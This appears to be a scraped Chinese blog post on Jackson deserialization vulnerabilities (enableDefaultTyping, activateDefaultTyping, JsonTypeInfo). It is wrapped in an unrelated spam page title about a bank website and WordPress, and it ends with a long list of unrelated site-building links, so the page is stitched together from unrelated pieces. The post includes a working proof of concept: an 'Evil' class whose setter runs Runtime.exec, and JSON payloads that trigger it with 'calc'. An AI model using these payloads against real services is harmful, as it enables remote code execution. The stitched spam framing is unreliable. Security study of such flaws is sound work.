当前位置: 首页 > news >正文

廊坊市建设银行网站wordpress连接微信订阅号

廊坊市建设银行网站,wordpress连接微信订阅号,网站建设项目经历,房屋平面图设计appjackson反序列化漏洞 反序列化漏洞触发根因jackson介绍jackson反序列化漏洞关键点enableDefaultTypingactivateDefaultTypingJsonTypeInfo 漏洞触发场景漏洞复现环境引入依赖pocactivateDefaultTypingenableDefaultTypingJsonTypeInfo 参考 很久没写blog#xff0c;最近慢慢开… jackson反序列化漏洞 反序列化漏洞触发根因jackson介绍jackson反序列化漏洞关键点enableDefaultTypingactivateDefaultTypingJsonTypeInfo 漏洞触发场景漏洞复现环境引入依赖pocactivateDefaultTypingenableDefaultTypingJsonTypeInfo 参考 很久没写blog最近慢慢开始清一下库存 反序列化漏洞触发根因 使用了危险的类传入类的参数外部可控未使用危险的类类型和传入类型的参数外部可控 第一种情况取决于开发在类中使用了危险的方法常见于原生反序列化漏洞第二种情况常见于允许解析外部传入的危险类所导致的常见于各类组件 jackson介绍 Jackson 是一款流行的 json 解析器Spring MVC 的默认 json 解析器便是 Jackson。 Jackson 的核心模块由三部分组成。 jackson-core核心包提供基于流模式解析的相关 API它包括 JsonPaser 和 JsonGenerator。 Jackson 内部实现正是通过高性能的流模式 API 的 JsonGenerator 和 JsonParser 来生成和解析 json。jackson-annotations注解包提供标准注解功能jackson-databind 数据绑定包 提供基于对象绑定 解析的相关 API ObjectMapper 和树模型 解析的相关 API JsonNode基于对象绑定 解析的 API 和树模型解析的 API 依赖基于流模式解析的 API。 jackson反序列化漏洞关键点 jackson反序列化漏洞是由于将恶意序列化数据反序列化为危险类型所导致的目前有以下三种场景 DefaultTypingactivateDefaultTypingJsonTypeInfo enableDefaultTyping 示例 ObjectMapper objectMapper new ObjectMapper(); objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); //objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE); //objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS); //objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);DefaultTyping可以指定以下四种类型 ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT: 这个选项会将所有的对象都视为java.lang.Object类型进行反序列化。这意味着Jackson会尝试调用任何可用的构造函数或setter方法而不考虑实际的类型信息。 ObjectMapper.DefaultTyping.NON_CONCRETE: 这个选项会处理那些不是最终final类的所有类即它可以处理抽象类和接口。 ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE (默认选项): 这个选项结合了上面两个选项的行为即处理java.lang.Object类型和非最终类。 ObjectMapper.DefaultTyping.NON_FINAL: 这个选项会处理所有的非final字段即使它们所属的类是final的。 activateDefaultTyping 自jackson 2.1.0后DefaultTyping就被弃用会推荐使用activateDefaultTyping 示例 ObjectMapper objectMapper new ObjectMapper(); objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL,JsonTypeInfo.As.WRAPPER_ARRAY);activateDefaultTyping可以指定三个参数 PolymorphicTypeValidator ptv:用于处理与多态反序列化一起使用的基于类名的子类型的验证的类的接口当使用Java类名作为类型标识符时通过“默认类型”和显式JsonTypeInfo进行验证。ObjectMapper.DefaultTyping applicability即DefaultTyping处提到的四种类型com.fasterxml.jackson.annotation.JsonTypeInfo.As includeAs JsonTypeInfo JsonTypeInfo(use JsonTypeInfo.Id.NONE)不允许指定任何类型JsonTypeInfo(use JsonTypeInfo.Id.CLASS)通过class的方式指定任何类型JsonTypeInfo(use JsonTypeInfo.Id.MINIMAL_CLASS)通过c的方式指定任何类型JsonTypeInfo(use JsonTypeInfo.Id.NAME)JsonTypeInfo(use JsonTypeInfo.Id.CUSTOM) 漏洞触发场景 对象类型为Object就是后续要进行漏洞复现的场景了以下三种类型均可触发 使用了activateDefaultTyping使用了enableDefaultTyping使用了JsonTypeInfo且 对象类型不为Object开发在对象的set方法中进行了危险操作但开发一般不会这么写 漏洞复现 环境 spring boot 3.3 jdk17 jackson 2.17.1 引入依赖 spring boot自带jackson无需引入依赖想要判断Jackson版本可以在外部依赖处搜索即可。 注意指定自带jackson的版本时需要注意一个问题那就是jackson和spring boot存在依赖冲突而将spring boot降级又将带来jdk版本不匹配的问题 poc jackson反序列化漏洞的已验证触发场景 1、JsonTypeInfo(use JsonTypeInfo.Id.MINIMAL_CLASS)对象类型为Object 2、JsonTypeInfo(use JsonTypeInfo.Id.CLASS)对象类型为Object 3、objectMapper.activateDefaultTyping(new LaissezFaireSubTypeValidator()) 对象类型为Object payload示例{ “name”: “liming”, “age”: 12, “object”: [“com.example.demo.vulnerability.Deserialization.Evil”,{“cmd”:“calc”}]} activateDefaultTyping Person成员 private String name; private Integer age; public Object object;com.example.demo.vulnerability.Deserialization.Evil类 package com.example.demo.vulnerability.Deserialization;public class Evil {public String cmd;public void setCmd(String cmd) {this.cmd cmd;try {Runtime.getRuntime().exec(cmd);}catch (Exception e){e.printStackTrace();}} }1当设置为 objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);或objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);或 objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);或 objectMapper.activateDefaultTyping(new LaissezFaireSubTypeValidator())payload为 { name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}2当设置为 objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);payload为 [ com.example.demo.entity.Person, { name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}]enableDefaultTyping 在jackson 2.17.1下虽然被弃用但仍然可以使用payload同activateDefaultTyping JsonTypeInfo Person成员 private String name; private Integer age; JsonTypeInfo(use JsonTypeInfo.Id.CLASS) public Object object;当JsonTypeInfo指定use为JsonTypeInfo.Id.CLASS或JsonTypeInfo(use JsonTypeInfo.Id.MINIMAL_CLASS)时payload为 { name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}如果还在Person上面使用注解JsonTypeInfo.Id.CLASS则需要使用以下payload [ com.example.demo.entity.Person, { name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}]参考 深入浅出解析Jackson反序列化 - 先知社区 (aliyun.com) Jackson ObjectMapper activateDefaultTyping 中 JsonTypeInfo 的作用_objectmapper.activatedefaulttyping-CSDN博客
http://www.hkea.cn/news/14437642/

相关文章:

  • 教育网站建站需求专门做美食的视频网站
  • 东莞网站推广运营wordpress模板加密
  • 蚌埠做网站哪家好东莞网站设计知名乐云seo
  • 进什么网站接模具做dw怎样去除网站做的页面模板
  • 淘宝网站开发框架专业手机网站定制
  • 怀化市住房建设局网站关键词调词平台
  • 盐城大丰网站建设找哪家好兰州网站优化
  • 构建html5博客网站视频类网站如何做缓存
  • 网站建设-英九网络十大网站建设排名
  • 做网站一排文字怎么水平对齐中英文网站程序
  • 响应式网站的缺点网络优化大师下载
  • 可视化网站模板编辑软件公众号开放平台
  • 一个超链接 多个网站网站建设找金手指排名
  • 网站安全在线检测经营范围里的网站建设
  • 网站开发项目需要什么人员导航网站建设
  • 如何开网站景安服务器安装wordpress
  • 河池市都安县建设局网站杭州协会网站建设
  • 常州网站推广方法网上花店网页设计代码
  • 还有多少用.net做网站的武夷山网站建设wzjseo
  • 大气的个人网站西安企业家名单
  • 出国留学网站开发网站制作与管理技术标准实训教程
  • 管廊建设网站做网站赠送
  • 建立可以在线做照片的网站怎么推广微信公众号
  • 设计师常去网站网页制作初学者
  • 网站策划报告大连网站建设主页
  • 西安做网站公司xamokj移动互联网 传统网站
  • 深圳微商城网站制作公司站酷网logo
  • 手机上自己如何做网站广州专业的网站开发公司
  • 网站集约化建设工作打算外部网站 同意加载
  • 模版型网站做的网站显示不了背景图片